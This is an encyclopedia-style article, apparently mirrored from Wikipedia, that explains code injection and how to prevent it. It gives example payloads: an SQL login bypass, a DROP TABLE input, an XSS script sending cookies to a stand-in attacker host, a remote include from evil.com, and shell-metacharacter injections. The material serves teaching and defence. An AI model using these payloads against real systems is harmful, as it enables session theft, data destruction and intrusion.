Code Injection

Code injection is the exploitation of a computer bug that is caused by processing invalid data. Injection is used by an attacker to introduce (or "inject") code into a vulnerable computer program and change the course of execution. The result of successful code injection can be disastrous, for example by allowing computer worms to propagate.

Code injection vulnerabilities (injection flaws) occur when an application sends untrusted data to an interpreter. Injection flaws are most often found in SQL, LDAP, XPath, or NoSQL queries; OS commands; XML parsers, SMTP headers, program arguments, etc. Injection flaws tend to be easier to discover when examining source code than via testing.[1] Scanners and fuzzers can help find injection flaws.[2]

Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.

Certain types of code injection are errors in interpretation, giving special meaning to mere user input. Similar interpretation errors exist outside the world of computer science such as the comedy routine Who's on First?. In the routine, there is a failure to distinguish proper names from regular words. Likewise, in some types of code injection, there is a failure to distinguish user input from system commands.

Code injection techniques are popular in system hacking or cracking to gain information, privilege escalation or unauthorized access to a system. Code injection can be used malevolently for many purposes, including:

In 2008, 5.66% of all vulnerabilities reported that year were classified as Code Injection, the highest year on record. In 2015, this had decreased to 0.77%.[3]

Benign and unintentional use

Code injection may be used with good intentions; for example, changing or tweaking the behavior of a program or system through code injection can "trick" the system into behaving in a certain way without any malicious intent.[4][5] Code injection could, for example,:

  • Introduce a useful new column that did not appear in the original design of a search results page.
  • Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
  • As with programs like Dropbox, add special parts that could be used to connect to online resources in an offline program.
  • Utilizing the Linux Dynamic Linker, one can define a function with the same name as certain libc functions, link that function as a library, and override the use of the libc function.[6]

Some users may unsuspectingly perform code injection because input they provide to a program was not considered by those who originally developed the system. For example:

  • What the user may consider a valid input may contain token characters or character strings that have been reserved by the developer to have special meaning (perhaps the "&" in "Shannon & Jason", or quotation marks as in "Bub 'Slugger' McCracken").
  • The user may submit a malformed file as input that is handled gracefully in one application, but is toxic to the receiving system.

Another benign use of code injection could be the discovery of injection flaws themselves, with the intention of fixing these flaws. This is known as a white hat penetration test.

Preventing problems

To prevent code injection problems, utilize secure input and output handling, such as:

  • Using APIs that, if used properly, are secure against all input characters. Parameterized queries (also known as "Compiled queries", "prepared statements", "bound variables") allows for moving user data out of string to be interpreted. Additionally Criteria API[7] and similar APIs move away from the concept of command strings to be created and interpreted.
  • Enforcing language separation via a static type system.[8]
  • Input validation, such as whitelisting only known good values, this can be done on client side using JavaScript for example or it can be done on the server side which is more secure.
  • Input encoding, e.g. escaping dangerous characters. For instance, in PHP, using the htmlspecialchars function to escape special characters for safe output of text in HTML, and mysqli::real_escape_string to isolate data which will be included in an SQL request, to protect against SQL Injection.
  • Output encoding, i.e. preventing HTML Injection (XSS) attacks against web site visitors
  • HttpOnly is a flag for HTTP Cookies that, when set, does not allow client-side script interaction with cookies, thereby preventing certain XSS attacks.[9]
  • Modular shell disassociation from kernel
  • With SQL Injection, one can use parameterized queries, stored procedures, whitelist input validation, and more to help mitigate Code Injection problems.[10]

The solutions listed above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injection of user code on the user machine, resulting in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:

  • Runtime image hash validation - capture a hash of a part or complete image of the executable loaded into memory, and compare it with stored and expected hash.
  • NX bit - all user data is stored in a special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory, and refuses to execute anything found in there.
  • Canaries - randomly place values in a stack. At runtime, a canary is checked when a function returns. If a canary has been modified, the program stops execution and exits. This occurs on a Stack Overflow Attack.
  • [In C]Code Pointer Masking (CPM) - after loading a (potentially changed) code pointer into a register, apply a bitmask to the pointer. This effectively restricts the addresses to which the pointer can refer.[11]

Examples

SQL injection

SQL injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.

For example, consider a web page that has two fields to allow users to enter a user name and a password. The code behind the page will generate a SQL query to check the password against the list of user names:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (password' OR '1'='1) in the Password field, then the resulting query will look like this:

SELECT UserList.Username
FROM UserList
WHERE UserList.Username = 'Username'
AND UserList.Password = 'password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

Assume a query with the following format:

SELECT User.UserID
FROM User
WHERE User.UserID = ' " + UserID + " '
AND User.Pwd = ' " + Password + " '

If an adversary has the following for inputs:

UserID: ';DROP TABLE User;order by --'


Password: 'OR"='

the query will be parsed to be:

SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

The result is that the table User will be removed from the database. This occurs because the ; symbol signifies the end of one command and the start of a new one. -- signifies the start of a comment.

HTML script injection

Some web servers have a guestbook script, which accepts small messages from users, and typically receives messages such as

 Very nice site!

However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as

Nice site,  I think I'll take it. <script>window.location="http://some_attacker/cookie.cgi?steal=" +escape(document.cookie)</script>

If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.

HTML/Script injection is a popular subject, commonly termed "Cross-Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.[12]

Dynamic evaluation vulnerabilities

An eval injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval function call.[13]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

Object injection

PHP allows serialization and deserialization of whole objects. If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.[14] Such an attack on Joomla was found in 2013.[15]

Remote file injection

Consider this PHP program (which includes a file specified by request):

<?php
   $color = 'blue';
   if (isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>

The example might be read as only color-files like blue.php and red.php could be loaded, while attackers might provide COLOR=http://evil.com/exploit causing PHP to load the external file.

Format Specifier Injection

Format string bugs most commonly appear when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char array password which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.

  char user_input[100];
  int int_in;
  char password[10] = "Password1";

  printf("Enter an integer\n");
  scanf("%d", &int_in);
  printf("Please enter a string\n");
  fgets(user_input, sizeof(user_input), stdin);
  
  printf(user_input);//Safe version is: printf("%s",user_input);  
  printf("\n");

  return 0;

If the user input is filled with a list of format specifiers such as %s%s%s%s%s%s%s%s , then printfwill start reading from the stack. Eventually, one of the %s format specifier will access the address of password , which is on the stack, and print Password1 to the screen.

Shell injection

Shell injection (or Command Injection[16]) is named after Unix shells, but applies to most systems which allow software to programmatically execute a command line. Here is an example vulnerable tcsh script:

#!/bin/tcsh
# check arg outputs it matches if arg is one 
if ($1 == 1) echo it matches

If the above is stored in the executable file ./check, the shell command ./check " 1 ) evil" will attempt to execute the injected shell command evil instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter in order to defend against an attack.[17]

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are system, StartProcess, and System.Diagnostics.Process.Start.

Client-server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called funnytext to replace a word the user sent with some other word.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
?>

The passthru in the above composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):[18]

Shell feature USER_INPUT value Resulting shell command Explanation
Sequential execution ; malicious_command /bin/funnytext ; malicious_command Executes funnytext, then executes malicious_command.
Pipelines | malicious_command /bin/funnytext | malicious_command Sends the output of funnytext as input to malicious_command.
Command substitution `malicious_command` /bin/funnytext `malicious_command` Sends the output of malicious_command as arguments to funnytext.
Command substitution $(malicious_command) /bin/funnytext $(malicious_command) Sends the output of malicious_command as arguments to funnytext.
AND list && malicious_command /bin/funnytext && malicious_command Executes malicious_command iff funnytext returns an exit status of 0 (success).
OR list || malicious_command /bin/funnytext || malicious_command Executes malicious_command iff funnytext returns a nonzero exit status (error).
Output redirection > ~/.bashrc /bin/funnytext > ~/.bashrc Overwrites the contents the .bashrc file with the output of funnytext.
Input redirection < ~/.bashrc /bin/funnytext < ~/.bashrc Sends the contents of the .bashrc file as input to funnytext.

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

A safer alternative is to use APIs that execute external programs directly, rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells, and/or to be more cumbersome/verbose compared to concise shell-syntax.

See also

References

  1. ^ "Top 10 Web Application Security Vulnerabilities". Penn Computing. University Of Pennsylvania. Retrieved 2016.
  2. ^ "OWASP Top 10 2013 A1: Injection Flaws". OWASP. Retrieved 2013.
  3. ^ "NVD - Statistics Search". web.nvd.nist.gov. Retrieved .
  4. ^ Srinivasan, Raghunathan. "Towards More Effective Virus Detectors" (PDF). Arizona State University. Archived from the original (PDF) on 29 July 2010. Retrieved 2010. Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
  5. ^ Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). "Symptoms-Based Detection of Bot Processes". Lecture Notes in Computer Science. Berlin, Heidelberg: Springer. CiteSeerX 10.1.1.185.2152. doi:10.1007/978-3-642-14706-7_18. ISBN 978-3-642-14705-0. ISSN 0302-9743.
  6. ^ "Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs". Rafa? Cie?lak's blog. 2013-04-02. Retrieved .
  7. ^ "The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries". Oracle. Retrieved 2013.
  8. ^ Moertel, Tom (2006-10-18). "A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes?". Tom Moertel's Blog. Retrieved .
  9. ^ "HttpOnly". OWASP. 12 November 2014. Retrieved 2016.
  10. ^ "SQL Injection Prevention Cheat Sheet". OWASP. Retrieved 2016.
  11. ^ Philippaerts, Pieter; et al. (2013-06-01). "CPM: Masking Code Pointers to Prevent Code Injection Attacks" (PDF). ACM Transactions on Information and System Security. 16 (1): 1-27. doi:10.1145/2487222.2487223. ISSN 1094-9224.
  12. ^ Hope, Brian; Hope, Paco; Walther, Ben (May 15, 2009). Web Security Testing Cookbook. Sebastopol, CA: O'Reilly Media. p. 254. ISBN 978-0-596-51483-9. OCLC 297573828.
  13. ^ Steven M. Christey (3 May 2006). "Dynamic Evaluation Vulnerabilities in PHP applications". Full Disclosure (Mailing list). Retrieved 2018.
  14. ^ "Unserialize function warnings". PHP.net.
  15. ^ "Analysis of the Joomla PHP Object Injection Vulnerability". Retrieved 2014.
  16. ^ "Command Injection". OWASP.
  17. ^ Douglas W. Jones, CS:3620 Notes, Lecture 4 -- Shell Scripts, Spring 2018.
  18. ^ http://blackhat.life/Command_Injection

External links


  This article uses material from the Wikipedia page available here. It is released under the Creative Commons Attribution-Share-Alike License 3.0.

Code_injection
 



 

Connect with defaultLogic
What We've Done
Led Digital Marketing Efforts of Top 500 e-Retailers.
Worked with Top Brands at Leading Agencies.
Successfully Managed Over $50 million in Digital Ad Spend.
Developed Strategies and Processes that Enabled Brands to Grow During an Economic Downturn.
Taught Advanced Internet Marketing Strategies at the graduate level.


Manage research, learning and skills at defaultlogic.com. Create an account using LinkedIn to manage and organize your omni-channel knowledge. defaultlogic.com is like a shopping cart for information -- helping you to save, discuss and share.


  Contact Us